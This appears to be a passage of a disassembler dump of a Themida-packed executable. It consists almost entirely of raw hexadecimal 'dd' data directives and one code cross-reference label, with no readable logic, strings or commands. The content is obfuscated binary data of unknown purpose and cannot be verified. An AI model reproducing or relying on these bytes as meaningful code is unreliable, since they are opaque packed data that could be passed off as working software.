73C02B36h dd 265BB4DAh, 0E243000Eh, 0EEF3DF49h, 27749BF3h, 500F008Eh dd 0E116F997h, 9967B0Eh, 0CBBCC4FDh, 0B84DF1EAh, 0CF404CADh dd 0A9DA564h, 0B94DF1EBh, 0FB0461AEh, 0EF9E5716h, 305AEB20h dd 85C8C697h, 7FEE81ECh, 3B4A377h, 42778250h, 8BFC041Bh dd 0F847DF63h, 45495AEDh, 0AAE47DCAh, 90FA1F6Fh, 0C774A7Fh dd 5B546CA1h, 0A047DF64h, 0CCC22DB4h, 1B0EF643h, 1BDBB39Ch dd 0BFC8D011h, 0BCBC339Bh, 68746B1h, 9FB21744h, 0FFEE57DBh dd 0DDD09DC6h, 572D9F26h, 107BC439h, 889807Dh, 0BDD90C1Dh dd 5364F79Fh, 9415D43Bh, 8A9269CEh, 0BC336FFDh, 884A737Eh dd 0B4992C85h, 59B6D48Dh, 30F166C6h, 53C3DDBh, 0A6CF404Ch dd 2D412AB5h, 0A8F48727h, 2FE0AE39h, 0D44549E2h, 502358B7h dd 1A23B0E5h, 4FBA5535h, 2D9A8890h, 5A653C05h, 305D160Dh dd 6BA4E9h, 5665F8CBh, 63h, 45CAC67Fh, 0A5AE84B2h, 0C9F901C0h dd 0F449F17Fh, 3D729DF3h, 7F790E16h, 0FF0A4DF1h, 2BF42994h dd 38D7B861h, 0EFF70ECDh, 4DF17F98h, 6FA46B22h, 66F9049Ch dd 0D6B97269h, 29141039h, 0C9E2EBE2h, 0E9425D36h, 88FF071Eh dd 0D44DF1EEh, 0F1EEBBCCh, 25BDC84Dh, 0A6B2871Ah, 0C9F6FEBDh dd 0FA4DF1EEh, 724947EFh, 1D34F31Ch, 0DF5F7215h, 0DA481147h dd 21371CD6h, 827F127Dh, 76351C25h, 2BE4A65Fh, 3E963898h dd 0E6F149F2h, 0ED226E27h, 868907A0h, 0D6BBC451h, 65C30F17h dd 31325004h, 0AE81B659h, 0CE038443h, 54C2280Bh, 931C2134h dd 3ED2766Ah, 0DDAEC6ABh, 1947DFE8h, 4B622110h, 0B8C0FB92h dd 47DFC8CFh, 136A1ACh, 673B9B2Eh, 5649F1F5h, 8DFE164Bh dd 664DF1A6h, 90F0974Ah, 4524AEB9h, 18h, 0C0A5AE97h, 7FC9F901h dd 14CD49F1h, 0BA02957Ah, 0EB37AAFh, 1D000000h, 1C0A5AEh dd 0F17BF5F9h, 0D0051049h, 0F31C72EAh, 0BA7D8F74h, 0F7BE63EDh dd 5E2h, 71BE5140h, 0E5BB4D8h, 0ADFA1575h, 47947B14h, 0E330DFAEh dd 612CC2F3h, 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h, 0A593380h dd 0F9918502h, 4319F64Dh, 0C6CFA89Bh, 256720DFh, 4FE2B5EAh dd 7576D8E0h, 869149F1h, 272F4635h, 4DF17460h, 25851823h dd 8B9646A2h, 0A7664B54h, 4646FF9Fh, 0A6DBE60Eh, 62211019h dd 0BC61CA4Bh, 15C39F95h, 0FAA12282h, 0C7D20C37h, 0D13E4F08h dd 0C736C99Ch, 7798F7B0h, 54BBD3E4h, 0EF206E07h, 0EE2CF970h dd 0DD47929h, 54Eh, 0DD2AE5ACh, 7AC74844h, 1966A9E1h, 0B3000F80h dd 4F9C731Ah, 0F598565Fh, 5734CD1Ah, 0BED26BB8h, 236B0451h dd 76C59FECh, 0F992196Eh, 0B78D6A4Dh, 74F31C72h, 0EDBA7DFBh dd 0F0BD277h, 6D000005h, 59EEB24h, 0A23B8887h, 41DA27E8h dd 0DB74C14Eh, 20105DB2h, 0DB345995h, 7996F58Eh, 12FD932Ch dd 0AD622CC5h, 2F378660h, 4DF99258h, 14784E2Bh, 0A5DA355Bh dd 602E3FD2h, 0E4ED7AAFh, 568B8407h, 51591883h, 49F98873h dd 681F2786h, 1B4DF987h, 0FB58A510h, 2D4403F2h, 2D82C9ACh dd 113AEF7Ah, 0DD6CF68Ah, 0E444D770h, 500B8382h, 2D457A85h dd 47E7785Eh, 0F19D5695h, 0A23F8B1Eh, 0B4FBEBEBh, 9A4022h dd 9B920000h, 0F0D5DEAFh, 75252931h, 556049F1h, 7E912404h dd 0A0A976D6h, 0C4DBF2B1h, 0F466CBBCh, 6FA0EF10h, 0D939CCD7h dd 130695B5h, 6990C5D0h, 19EFDDE8h, 13A6090Eh, 9150353Eh dd 0FA898C89h, 0B1707B18h, 2C7996F8h, 721EFB93h, 3495689Dh dd 0AF82B758h, 5030C544h, 3DE224A8h, 42976h, 50A8700h dd 0A26D1FB8h, 41CEBC55h, 0DB345BF4h, 7798F58Eh, 737B3A2Ah dd 0FA8F51Ah, 0AD46937Ch, 46DF2CE3h, 0A07AC748h, 933E4951h dd 603D4DF9h, 0B6748Ah, 0E49D0000h, 0A6D467A8h, 646CA5AEh dd 47DF6023h, 0E61BF497h, 5707B13h, 0C038D46h, 27104D7h dd 0F987DAFAh, 0B1DD9649h, 0C356295Eh, 0FF107A7Bh, 701CD594h dd 36976A9Fh, 0B322B55Ah, 2E7B94FAh, 0FF107E37h, 5364F7CAh dd 5FB0DE3Bh, 0B7EC572Ah, 5BB4D790h, 0FBEAF3C8h, 0B7DA343Ch dd 0A2AD500Bh, 96D7E06Dh, 0E777F98Eh, 2C5B6347h, 4F47E778h dd 36A1AC44h, 9AB36F77h, 778249F9h, 0A04F53F8h, 0B37A1FEBh dd 36Eh, 0FD4AC5CCh, 9AE72864h, 39868901h, 0D320EFA0h dd 6FBC533Ah, 0D5B8367Fh, 3754ED3Ah, 9EF28BD8h, 38B2471h dd 96E5BF0Ch, 0F993F98Eh, 0D7AD8A4Dh, 0DF5F6423h, 5F8CFF47h dd 616A47DFh, 17ADB574h, 6A49F988h, 82032A5Fh, 0A82C9DCAh dd 68790C21h, 0AB6AE926h, 27EBA0B5h, 310BB82h, 236E0000h dd 86069FECh, 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh dd 8FDC335Ah, 2D7A95F6h, 0C613FC94h, 61AE612Dh, 57303887h dd 244DF994h, 1C727147h, 2831BEF3h, 40727A39h, 6F49F182h dd 0A0ECA564h, 0F7DFDC6Fh, 18A4C61Dh, 7EFB5637h, 3BCF7888h dd 942D7AE5h, 0CDBAC2F9h, 0AE730741h, 760338A3h, 843A876Ch dd 34F31C72h, 9EA6157Bh, 47DF5FE9h, 0EF248F9Ah, 7DA4891Ch dd 21CF4FCh, 9F320F82h, 0C20F008Eh, 0B6755C65h, 0F242E0AEh dd 679CA749h, 0F1F93C4Fh, 0FE117E4Dh, 848B00C9h, 0F5EC704Fh dd 35ACC8F0h, 0AE7B665Eh, 43B324h, 0AE050000h, 0F901C0A5h dd 49F17ECDh, 0DD325811h, 0FA42D5A8h, 0DA93BAEFh, 2B18A1B0h dd 0B757FDDEh, 414E174Ch, 5BC699CEh, 5E2368C8h, 0B4D04DF2h dd 6E662Dh, 0CD4E24AEh, 0FDFCE1FAh, 2224B713h, 0B6h, 351C7274h dd 96E64E10h, 996055h, 2F19F21Bh, 0B3D4DC9Bh, 0D047E034h dd 5C255AC5h, 0E0A9DE31h, 632C61AEh, 0AF97E42Bh, 47E02FBDh dd 5BA86727h, 0E43CCC2h, 0CA897881h, 4AB27449h, 0C79ACF40h dd 4EAA129Eh, 0DFB04146h, 0CC374247h, 94C2CA39h, 349F1A8h dd 16818E02h, 21EE9E57h, 2B34918Eh, 9C7F8746h, 87500455h dd 8904BD7Ch, 0EDA03986h, 82FCA322h, 0B156EDBCh, 1A1EAh dd 7D92FF00h, 1AF59730h, 0B95634CDh, 53BCD36Ch, 0EF206D06h dd 0EB03B2A2h, 87206DA2h, 25BE0B04h, 0BE57A46Bh, 18F23FD0h dd 95C6C1C9h, 0D8B54DF9h, 0F41B7202h, 8F800EA7h, 0A5AE8C42h dd 31EA01C0h, 0C020B35Ch, 49F17F06h, 0FB88C94Ah, 0D500DF6Eh dd 30EFFA42h, 0CDA029AFh, 8D202394h, 29FB90A8h, 0B9F84DF2h dd 4E838C00h, 3630C0BDh, 0FC67FE4Dh, 0CDC41D69h, 24AE5BF5h dd 8922h, 107A3300h, 64F7CAFFh, 0F31C7236h, 7798F5BEh dd 5A422A42h, 0E2AC47DFh, 4747E02Dh, 0FD0693C8h, 5515918h dd 0F049F15Dh, 0E8A198E5h, 0F51A75A4h, 1922F78Ah, 59656D2Ch dd 6C500408h, 0A4E9A261h, 8851E6Bh, 0D1DD8807h, 9035EDBCh dd 0D5C9h, 0B15E3300h, 4EC1CB64h, 0ED226801h, 878807A0h dd 23ECA13Ah, 1FCFE6D6h, 0BB54A16Eh, 59F23FD0h, 0F28BD837h dd 4C26739Ch, 9692F5FDh, 14F14DF9h, 0F41B723Eh, 8F800EA7h dd 1C728C42h, 99F5BEF3h, 8DFEB776h, 0E77A4D82h, 9D848DEAh dd 8802D6DEh, 0D2DD49F9h, 55BAD49Dh, 0FA1F6F08h, 1C567F90h dd 2F75DA0Ch, 789FD43Fh, 0AC3FD0BFh, 2C4DC14Ch, 0C51C3016h dd 0D9B5642Ah, 0D2DA0136h, 71882EB5h, 0E550BBC6h, 808FFF98h dd 0E829AAC1h, 0B8F30ED8h, 0BE7611C1h, 0FA057187h, 0D6B98267h dd 0CEC17A39h, 0A6390C41h, 890A19C1h, 2B2BBCCBh, 18F7931Eh dd 0D03F4CADh, 0F5F0F13Dh, 90297699h, 0B5DC11FEh, 23F1969Eh dd 87927188h, 70A56A26h, 3FB0A9Dh, 65000000h, 1F723422h dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 50D4DB10h, 0BE56E089h dd 4AD21484h, 0F74EDEF7h, 0ACC681D6h, 81644B53h, 1D682CEEh dd 5EF001AFh, 8704E883h dd 535C2404h, 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h dd 21826824h, 3C890000h, 28D86824h, 1C8B061Ah, 4C48324h dd 4EC81h, 24890000h, 24048124h, 4, 8B8505Fh, 1000000h dd 0BA52F8h, 1000000h, 5A1A89C2h, 243C8B58h, 5E08950h dd 4, 405h, 24048700h, 241C8B5Ch, 5E08950h, 4, 8704C083h dd 0E95C2404h, 0FFF84829h, 4DA1EFF1h, 1A3839B8h, 0FFC50306h dd 316941E0h, 73B2EE70h, 56E6A55Ah, 7FA8A00Dh, 7F263F6Bh dd 8D2CBA03h, 15280F2Bh, 0FD40462Dh, 0A95F142Bh, 0F00CF928h dd 5F129671h, 72142F75h, 9E503651h, 6DA9B24Ch, 0C90C031Dh dd 0BABFDD3Ch, 9BB80850h, 7ACB9A20h, 0A1D81F6Ch, 6A360070h dd 9E965h, 2D9C0000h, 5E9Dh, 0E9000000h, 60Ch, 5DAA652Ch dd 0FA47C8C4h, 99E62961h, 33808F00h, 0CF1CF39Ah, 7518D6DFh dd 0D7B44D9Ah, 3E52EB38h, 0A3EB84D1h, 0F6451F6Ch, 0F99899EEh dd 370DEA4Dh, 4C351C72h, 6E7FAA22h, 520BCA35h, 593ED13Eh dd 0FC041B32h, 47DF748Bh, 4A3DEDF8h, 3947DF74h, 38A9B2Eh dd 47C8BF0Ch, 0B911D1E5h, 5768FB43h, 0DAA3D837h, 1B9C5BB4h dd 4ADB351Bh, 0F2D76AF3h, 93D4ACBh, 0B16703B9h, 907F0D1Eh dd 30B1C55Bh, 0E936D9B5h, 0B1D94050h, 0B998295Eh, 0E853D6Fh dd 0FD05C42Fh, 47E0148Ah, 3683EEF9h, 0E71CF39Dh, 0E3A26D1Eh dd 0B028B062h, 0E02EDFA8h, 68919C47h, 0CC8B7B29h, 0DF80C3C4h dd 22B5C047h, 38A9953Dh, 5836E3ADh, 535B82B7h, 47DF8134h dd 0A8D13C47h, 2A0D2BE9h, 0D21F8A21h, 0CBC45539h, 66A9E344h dd 0E0AEC6FBh, 0BC47E026h, 9AFA9150h, 0E222BC39h, 19AC6329h dd 9A17h, 7AA72800h, 0E98D7C7Dh, 0C4413269h, 0B722E292h dd 1C72F624h, 487D92FDh, 0AED50A75h, 5FF88F97h, 808B47DFh dd 60008DEDh, 309C47DFh, 0FEFADAB1h, 192F22BCh, 40000000h dd 9F51C1BFh, 0E057F097h, 5F889347h, 8DB664FEh, 4CB3B443h dd 0A7D5688Ch, 8CFF1A72h, 0BCE31883h, 51868903h, 0A26D1D7Eh dd 0F6079A6Dh, 0A3BA7996h, 0DF5FEC9Bh, 0F1848F47h, 0C34C430Ch dd 40C1F88Eh, 0F7598D9Dh, 0DE2ABD25h, 6BA4E803h, 76A6271Eh dd 0A5E2EAEDh, 0D647DFF3h, 0F2F6A2CBh, 741A2BBEh, 72984E9Bh dd 0F6BFF41Bh, 65447996h, 0A8E500E1h, 0D811A67h, 8604CD02h dd 0A8C45489h, 0FC025239h, 0BD9722BCh, 0E9000000h, 98A01B72h dd 47DF5FEFh, 0D0A226FBh, 14ACEE08h, 3772E009h, 310C8384h dd 6FF007C6h, 91B11845h, 1473238Ch, 6747DF93h, 1BE4C95Ch dd 0A26BA06Fh, 23EC21EEh, 0AB70A56Ah, 0C7F5EAF7h, 0D4552EB3h dd 604DDF2h, 0A403F097h, 7C4E88B1h, 0CBC2D366h, 9DD23D4Eh dd 6655A1CAh, 0F8DCBCA1h, 0E6A7408Dh, 642BF429h, 0A7E676ABh dd 0E0739CEEh, 3E464D94h, 8B22BC7Fh, 7Ch, 0F41B72DDh, 26651E35h dd 5F4E39E9h, 642D47DFh, 136B988Bh, 0D536A173h, 4E2156B9h dd 830DD6BBh, 0AEB6CD8Ch, 47DF78D9h, 0DF769FAAh, 0E9FE177Bh dd 413E23B6h, 2AABE4FDh, 603D8FB9h, 0B0C154C1h, 2FE532DDh dd 0D1259314h, 3E8676D1h, 1DF29AABh, 8CBED0E8h, 4FDE47DFh dd 0D7FBB738h, 0BC73F8FBh, 0DF797B0Ch, 0D4FD0847h, 78BA433Ch dd 5DA93C7Bh, 0DCB50D84h, 16222BCh, 0B4000000h, 0F5F99314h dd 21D693FDh, 20D7D8Eh, 9EEDA6CDh, 0C1CDDE71h, 3E50194Eh dd 0BBD39CD1h, 0DE221F54h, 0B29EDE03h, 39D6B42Fh, 0A9868FECh dd 4C32EE1h, 0F20002FCh, 67242549h, 3F083DA8h, 8001C04Fh dd 0C67E9578h, 5E5BEE45h, 3A50C9C5h, 4C0E7981h, 626D4DF2h dd 30578CF7h, 4B761119h, 0FA054DF2h, 4B860767h, 0BC004DF2h dd 8DC4CA25h, 446B298Bh, 0B80570E9h, 6BA06F1Fh, 6423ECA2h dd 992CE3ABh, 9051D5B4h, 17D63955h, 65252C5Eh, 246B91CAh dd 0D6A9DE49h, 71514643h, 0A624AE35h, 162h, 0C0A5AEF8h dd 0CBD3EA01h, 47DF5FBCh, 8304B4BFh, 47DF5Fh, 4D828DFFh dd 0D7C0F7Ah, 70CA75F6h, 0A115552Ch, 618ABD2Ah, 9A59275Bh dd 0E02DF592h, 0E87B8647h, 0F2459A88h, 255A6549h, 90DD325Ch dd 437897F7h, 0C6FB147Ah, 497E91FDh, 0A1020D80h, 45ED22EDh dd 0DC538859h, 7F008958h, 0B7861370h, 596AFDC3h, 73041C35h dd 59805BF2h, 0D4ACA1EEh, 124AED9h, 57h, 0C9A4AE53h, 24E34EC1h dd 0DF5F4B1Ch, 9DD051C7h, 0C84F5985h, 7F8AD265h, 0CE55324Ah dd 315DC7DEh, 0ADE0A9DEh, 0CA4E2D62h, 0B165C217h, 0FAE7F130h dd 48C6BA3Bh, 6AEAF630h, 0DEF12562h, 0E04B56C7h, 91D6DE4Dh dd 0B247DEF0h, 0CF4F27E9h, 0CE39067Bh, 94EA81h, 14540000h dd 0A9DEE6FDh, 0DA47DF5Fh, 5F681FCFh, 101B47DFh, 0B29FA87Dh dd 6723DCF3h, 0B79B7FA8h, 6C27485Bh, 4ED579D9h, 253049F2h dd 546727F0h, 0F2443B4Ch, 0D23D484Dh, 6DA2EC85h, 426C2038h dd 1E624DF2h, 0A96628C3h, 0FF6FF5Ch, 7B8B4850h, 0D051500Ch dd 0FFD22624h, 0DA22B569h, 5C739ACFh, 0E7703354h, 0B2455047h dd 0ED22EDA1h, 99885945h, 61E2A190h, 0BFC72B99h, 47E831C8h dd 7087B0BBh, 42B14404h, 241993Ah, 0F62E34Ah, 835DE761h dd 717CC457h, 0FD146E24h, 775C7F7Ch, 0C7776B3Dh, 47DF70C0h dd 5025B8C3h, 939B5A47h, 49F9A840h, 68E9A8B3h, 65A64150h dd 0D7BC4F5Fh, 428F800Eh, 1D98CA4Bh, 2B78895Eh, 77CD7F02h dd 56E953CBh, 91C64945h, 34DBB16Ah, 639F41A1h, 4149055Fh dd 0C0D099CEh, 70841A4Fh, 2A3E6C71h, 0AD622CB7h, 48C7C760h dd 0CA454A13h, 0E001ED95h, 0FF8890A7h, 0EBA67D47h, 0CE507AA6h dd 854EE623h, 0CC281ECEh, 1C7DE862h, 986BA06Fh, 759AF405h dd 10FF8F28h, 1AF59851h, 9A7F12E5h, 3D3h, 34223D00h, 0BBF01F72h dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 40D368D4h, 3C890000h dd 729A6824h, 14890000h, 0E2895224h, 4C281h, 0EA810000h dd 4, 5C241487h, 68243489h, 4072h, 68240C89h, 586A1FCAh dd 13C98159h, 810C1559h, 750D29C9h, 81D9F740h, 6666BFE9h dd 59CA899Dh, 8904EC83h, 4812424h, 424h, 50525E00h, 1239DFB8h dd 2444317Fh, 468F5804h, 8768108h, 7F1239DFh, 5E2434FFh dd 8B04C483h, 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 41BBE95Ch, 8590FFF8h, 1C4BB705h, 1F288C78h, 0FF9FC8CEh dd 1A3EB3B8h, 0FFC50306h, 64485DE0h, 0C282B221h, 0B6F7F80Ch dd 1FA5847Ah, 0C36A2F76h, 4692F45Ah, 0C95CC933h, 9A4FBB71h dd 99FF7527h, 0E1A0D87Ah, 5333F21Eh, 2D02CD6Fh, 0D0BB3B06h dd 66929851h, 0E5313007h, 0BED51C16h, 63222F6Ah, 1ABADC5Ch dd 6D7B364Eh, 0A54A513Bh, 369B1758h, 292C3230h, 0F830C13h dd 7F8D8D55h, 0F061A40h, 178Dh, 0BE800h, 0E07E0000h, 5CC606C6h dd 88612B0Dh, 0B1B58921h, 5F061217h, 2DCD8D89h, 14E90612h db 0 byte_5FFABD db 2 dup(0), 0DEh ; CODE XREF: Themida_:005FD6D4j dd 8ADAA4B1h, 2A7E60EFh, 8CE5F80h, 8332ECD5h, 0C73EAC12h dd 1231BD85h, 5C6C06h, 65BD2B00h, 3061229h, 12173585h dd 1185C706h, 61200h, 66000000h, 0B5FFF98Bh, 6120835h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 94C35343h dd 0A780A2C4h, 699D8922h, 8B061216h, 122719BDh, 8195FF06h dd 6A061227h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 3B96C351h, 131DBD29h, 6A0612h dd 29D195FFh, 0C08B0612h, 12124DEBh, 0B3DBF365h, 0ACB00618h dd 0E6D980D4h, 0E78E0C88h, 7A322D39h, 71B1352Dh, 0FEE127ACh dd 9256EB8Fh, 6AC96550h, 99516088h, 0E8AB704Ch, 2634B0FEh dd 8AFD36A0h, 0E5DCD468h, 49FB9E8Eh, 168276C7h, 832FA93Ch dd 648F1139h, 8D4047D1h, 1A41B58Dh, 24F68006h, 2DCD8D89h dd 85C70612h, 61231BDh, 7344h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 8EC35545h, 0F5B531BAh, 81061213h dd 0A3F4BFCFh, 1185C717h, 61200h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8B29C351h, 122DB585h, 0C5B5FF06h, 6A061231h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 501CC353h, 43EAAD8Fh, 0F4302032h, 0FE960h, 3B650000h dd 0F2D74BB0h, 0EAB1EC02h, 0D88C085Fh, 199D8903h, 61061208h dd 278195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 855732C3h, 0DBB8B0B2h, 95FF006Ah dd 61229D1h, 3BEBC08Bh, 0B6722024h, 0C95D75AEh, 0D16C54F2h dd 0A967A53Fh, 59774B10h, 0B9CDF8E1h, 0A768F324h, 86042BDAh dd 88F5B82Ah, 1E72D8F5h, 466B0561h, 0AAF878F8h, 22369F09h dd 6A323DFBh, 0E9645503h, 0Ah, 6EC08550h, 0 dd 0FDE90000h, 69000004h, 19AE728h, 9E37848Bh, 3DD623ECh dd 0D770BD52h, 1C0C59B6h, 0D7385599h, 759AF18Ah, 0E018F28h dd 0A96628C1h, 2B33825Ch, 4DF9A15Ch, 146C421Fh, 838B305Bh dd 47DF6004h, 0CC016C77h, 395566F9h, 2D62ADE0h, 0B4E92664h dd 0D60B76E1h, 428F800Dh, 0F52AE5A9h, 78AD622Ch, 533CDDAFh dd 0B7823FFEh, 64CFC1E5h, 92FBC4F9h, 0E7F487Dh, 598E810Bh dd 3EE61B86h, 1C4A8F52h, 800ED908h, 0E7A9428Fh, 4E42DB28h dd 0C822656Dh, 566147DFh, 0B7699F5h, 12FD934Ch, 0BAD19A7Fh dd 0AADF305Fh, 8F376CD7h, 4CC3C780h, 9FE8F017h, 0DC47DFC7h dd 87D366D1h, 0E018F5Ah, 1049CAC1h, 0B6A1E682h, 679C731Dh dd 85962994h, 0B9D10609h, 47DFBCD5h, 18859C5h, 22BCA381h dd 6A56h, 1C72A800h, 1697BEF3h, 37CD5029h, 8AEA7D31h, 47E03703h dd 0D1B82995h, 22BC29F1h, 126h, 1A727800h, 16818EFFh, 9B7418E1h dd 0CABDC5DCh, 0B947DF5Fh, 6D361BAEh, 0AD2EED22h, 7F0BD1B3h dd 5F885B90h, 0EB7E2A36h, 855C7006h, 0DE3B530Ch, 0C1F661AEh dd 424A5BEEh, 0A7E780CDh, 9B28A968h, 15D15BCBh, 5709FEDh dd 72BF7572h, 7C35F41Bh, 0F5C8FD12h, 0D5567D62h, 7C91D765h dd 94A53848h, 3E217F8h, 28E7A35Ch, 418D20F3h, 0C74845A0h dd 62ADE17Ah, 0E926642Dh, 0D90824B4h, 0BC13A2B2h, 0BAD18A22h dd 0B00EB97h, 43AE1306h, 56AEB0h, 72000000h, 828DFE1Bh dd 7119E217h, 0BFD3699Eh, 49C6C722h, 0EF2A63FCh, 6A3D729Dh dd 8E01CAFFh, 0A0BC4C81h, 0FD8F4841h, 0C2127F12h, 0EA22BCFCh dd 69BCCBD3h, 0B4BF47DFh, 5A1F21h, 72710000h, 0F6BFF41Bh dd 4340759Ah, 8607E2FFh, 8249CA89h, 75C07473h, 0AE6461F4h dd 92F5FD14h, 0F147DF5Fh, 4A4253E6h, 424D06C5h, 32C598CDh dd 5F59354Dh, 2C6347DFh, 0AAE5AEE3h, 0B76B3065h, 0A332B52Ah dd 466FA0EAh, 7DD8951Eh, 58A437B1h, 0A6820289h, 15722BCh dd 0A9000000h, 0F3F9314h, 9BE619B7h, 7C93F708h, 0FF107E47h dd 0AB3622CAh, 78C54A40h, 6423121Bh, 0F20FA25Ch, 457A8549h dd 0B0FD127Ch, 63987717h, 0F201424Bh, 0E100444Dh, 3A878806h dd 0ED22EDA1h, 70A56A24h, 0F62BE4A7h, 7BB05F2Dh, 0CB10D1E5h dd 0A2CAD54h, 7F1DEC30h, 29B80497h, 0F23FD0BEh, 0C54A42FBh dd 0DBCDC532h, 3D1A24AEh, 2B000001h, 0BCF11E72h, 90FA8D95h dd 7E894DF1h, 0E048EA13h, 0ADB907AEh, 0A5AEEC1Ah, 29F901C0h dd 1449F177h, 96ADD409h, 0F178F98Eh, 7AC18A4Dh, 0B9EC7C85h dd 0B9CA5DC8h, 54ED3AD5h, 0E79813Ah, 6D4DF1C0h, 9BC2F762h dd 0C00B7C84h, 0AF784DF1h, 301274E4h, 861984ACh, 0C1F61975h dd 68835EE2h, 0A79CE926h, 24AEAC2Fh, 3DFCh, 0A4AE4E00h dd 3A56C3C9h, 62CDA0D5h, 373038F7h, 44C7DF5Fh, 0CCC17A39h dd 0B3CBB043h, 0C7DF5ED4h, 74B32EE2h, 0AFC6856Ah, 5AEF12Eh dd 0CB5E7A56h, 0DE80FC6Bh, 0A7F4FF47h, 9710h, 0A5AE7A00h dd 55F901C0h, 0B049F181h, 4F3EDBAFh, 4DB88BC0h, 40128718h dd 502064E4h, 2BB7AE5h, 794C818Eh, 21DA01E6h, 4545A669h dd 682637CAh, 136D9B1h, 4B04C32Eh, 0C598CD42h, 0F29C3532h dd 8C1E81Dh, 82558A85h, 71A66921h, 0E1AB0B9Eh, 0D74DF225h dd 0FB934E93h, 0DAD45514h, 89C21C0Dh, 5625FF2h, 4E5615FCh dd 500BCA47h, 0D03F4C05h, 0B5EAF53Dh, 386DA2ECh, 0EE3DA490h dd 394100E5h, 4A020A5Ch, 0CDD5EC4Bh, 4DF18FBAh, 790EBEC9h dd 0A4DF18Fh, 914794FFh, 1C0A5AEh, 0F9999CF9h, 4DE36449h dd 987CA9C6h, 525DA538h, 0D53A541Dh, 709FEF88h, 5881233Bh dd 8A9EF552h, 0D028C57h, 0A86727C0h, 2D354C73h, 0B6A05C5Ah dd 7A8B1E29h, 5EF53C15h, 3BBE01h, 0A9147F90h, 1E0CC74h dd 52BDCF88h, 0A6B74A1Dh, 0E3DA27E8h, 7AAF602Ah, 8B0314A7h dd 3884F84h, 0F2000000h, 1F723422h, 9CF2BBF0h, 1B753E73h dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h dd 0FF8D568Bh, 51D4DB10h, 0C181E189h, 4, 8704E983h, 248B240Ch dd 53076824h, 4890000h, 65746824h, 14890000h, 420BB824h dd 0E0D16E4Bh, 2F40B425h, 59BF5719h, 81307B18h, 77043CF7h dd 0F7474F11h, 81D7F7DFh, 90C9FCEFh, 5FF829D6h, 0C56DD80Dh dd 0ABF32D3Eh, 6C68F9B5h, 8900003Ah, 4832424h, 515A0424h dd 8B9h, 53D10100h, 0BBh, 89CB0100h, 8B595B03h, 89532414h dd 4C381E3h, 83000000h, 1C8704C3h, 48B5C24h, 0E6895624h dd 4C681h, 0C6830000h, 24348704h, 3A03E95Ch, 6E08FFF8h dd 5ABAD0F8h, 69892A11h, 1A465DB8h, 0FFC50306h, 7FCB3FE0h dd 12FB6D72h, 40A1C169h, 8D8B570Eh, 7B944A50h, 3514C323h dd 0ACA1035Bh, 235E3C03h, 0CBE98450h, 19B6F362h, 0A1FAC876h dd 0BD1B8A34h, 41E27573h, 0F8691137h, 39FF334Ch, 0A16A9808h dd 76B9B82Eh, 0D0127340h, 85CEE76h, 0A0A4E750h, 857D94Dh dd 0D4476329h, 69F57773h, 0CE5F6152h, 0E4A01C38h, 0DAA3AE3Eh dd 588D8D6Ch, 6A061A48h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0A8FCC355h, 153DBD8Bh dd 95890612h, 612000Dh, 2DCD8D89h, 6A0612h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0D357D0C3h dd 85B50100h, 0C706120Ch, 1231BD85h, 603006h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 6820FB8h, 89000000h, 1221FD95h, 1185C706h, 61200h, 66000000h dd 0B79DCE81h, 841B5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 81BBC5C3h, 895E14EDh dd 1231FD9Dh, 8195FF06h, 0F061227h, 682h, 45B58900h, 6A061203h dd 0D195FF00h, 8B061229h, 0CB1AEBC0h, 8D8008B3h, 833B8EB8h dd 0A74A23A5h, 4D3C1A6Ch, 0DA940724h, 2F099A1Ah, 0FE8E3h dd 68D90000h, 401DA51Dh, 6F0DF8A1h, 68ADB7Ch, 10E892h dd 2CA90000h, 2D593BECh, 1ADF0E52h, 0C7587ADh, 0CE810D65h dd 71E91C3Eh, 8D29595Ah, 6122185h, 6DF2C181h, 0BA660000h dd 0DB2B540Ah, 2625858Bh, 34FF0612h, 35B58B0Bh, 5F061234h dd 0D2C781F9h, 8959C1E0h, 12264D8Dh, 72F78106h, 807CE61Dh dd 0EF819EC0h, 22224F00h, 12E5958Bh, 8B570612h, 1214FD85h dd 19048F06h, 81F08B66h, 0DEA1C4C6h, 4EB8325h, 81F38B66h dd 0FF92A4FBh, 0AF850FFFh, 66FFFFFFh, 0A1B4EA81h, 1CE9h dd 0B1DED300h, 26h, 5 dup(0) dd 535E900h, 5B360000h, 0BECE67B4h, 1F6B0451h, 850AA3F0h dd 0E9A43D8Ah, 0CCE9D926h, 57A46B22h, 0F542CDBEh, 8EDB345Ch dd 297699F5h, 8FF8004Fh, 0EC4DF9A8h, 1C72390Fh, 98F5BEF3h dd 0FD912A77h, 7E6A4054h, 0FACD020Dh, 4CDD68D1h, 0ABE3ACE1h dd 26662F64h, 0A1EB4E9h, 95F5AED7h, 0B8D6E77Ah, 1F710A57h dd 0F3ACA3F0h, 6B3E739Ch, 46C9C7D8h, 51BECE87h, 0A7E8491Ch dd 0CD603368h, 0E56C1FE8h, 7A1527A9h, 52DE6C95h, 8E366BD6h dd 0ECA43FA2h, 513DD623h, 3D51C8C8h, 5FCA9DD2h, 0E629612Ah dd 9851107Bh, 0D4BB1CF3h, 0ABC3A83Bh, 47E058E3h, 255AB5D9h dd 0A8DD325Ch, 479C45C9h, 8958C4h, 